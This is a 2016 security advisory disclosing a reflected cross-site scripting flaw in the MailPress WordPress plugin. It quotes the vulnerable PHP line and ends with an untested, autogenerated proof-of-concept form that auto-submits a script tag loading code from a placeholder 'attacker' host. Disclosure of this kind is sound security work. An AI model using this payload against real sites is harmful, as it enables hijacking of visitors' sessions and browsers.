Advisory #: 1105
Title: Reflected XSS in wordpress plugin mailpress v5.4.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/mailpress
Downloads: 307235
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: mailpress
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./mailpress/mp-includes/class/options/import/importers/export_mailinglist2mailinglist.php: 76: <input type='hidden' name='from_mailinglist' value='<?php echo $_POST['export_mailinglist']; ?>' /> The variable export_mailinglist appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./mailpress/mp-includes/class/options/import/importers/export_mailinglist2mailinglist.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/mailpress/mp-includes/class/options/import/importers/export_mailinglist2mailinglist.php method=post> <input type=hidden name=export_mailinglist value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>